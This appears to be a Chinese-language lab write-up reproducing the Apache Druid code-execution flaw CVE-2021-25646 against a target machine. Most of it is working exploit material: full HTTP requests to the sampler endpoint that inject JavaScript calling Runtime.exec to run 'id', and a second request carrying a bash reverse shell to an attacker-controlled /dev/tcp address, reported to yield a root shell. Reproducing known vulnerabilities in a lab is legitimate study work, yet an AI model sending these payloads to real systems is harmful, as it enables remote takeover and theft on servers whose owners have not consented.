Apache Druid 代码执行漏洞(CVE-2021-25646)复现
·
Apache Druid 代码执行漏洞(CVE-2021-25646)
Apache Druid包括执行嵌入在各种类型请求中的用户提供的JavaScript代码的能力。这个功能是为了在可信环境下使用,并且默认是禁用的。然而,在Druid 0.20.0及以前的版本中,攻击者可以通过发送一个恶意请求使Druid用内置引擎执行任意JavaScript代码,而不管服务器配置如何,这将导致代码和命令执行漏洞。
漏洞复现
靶机启动后,访问http://your-ip:8888即可查看到Apache Druid主页。

漏洞利用
首先使用burpsuite抓包,然后发送到Repeater。随便拿一个数据包。

然后直接发送如下请求即可执行其中的JavaScript代码,注意修改目标ip地址为你的靶机ip
POST /druid/indexer/v1/sampler HTTP/1.1
Host: 10.22.194.62:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
{
"type":"index",
"spec":{
"ioConfig":{
"type":"index",
"firehose":{
"type":"local",
"baseDir":"/etc",
"filter":"passwd"
}
},
"dataSchema":{
"dataSource":"test",
"parser":{
"parseSpec":{
"format":"javascript",
"timestampSpec":{
},
"dimensionsSpec":{
},
"function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"sh\",\"-c\",\"id\"]).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:123123,test: a}}",
"":{
"enabled":"true"
}
}
}
}
},
"samplerConfig":{
"numRows":10
}
}

可见,id命令已被成功执行
反弹shell
修改数据包,添加如下反弹shell命令,ip为本地kali的ip地址,端口1234:
/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/10.132.1.173/1234 0>&1
接着本地kali监听端口1234,bp发送如下请求:
POST /druid/indexer/v1/sampler HTTP/1.1
Host: 10.22.194.62:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
{
"type":"index",
"spec":{
"ioConfig":{
"type":"index",
"firehose":{
"type":"local",
"baseDir":"/etc",
"filter":"passwd"
}
},
"dataSchema":{
"dataSource":"test",
"parser":{
"parseSpec":{
"format":"javascript",
"timestampSpec":{
},
"dimensionsSpec":{
},
"function": "function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.2.6/1234 0>&1')}",
"dimension": "added",
"":{
"enabled":"true"
}
}
}
}
},
"samplerConfig":{
"numRows":10
}
}

这里等待一会,漏洞利用成功,拿到root的反弹shell。

更多推荐
所有评论(0)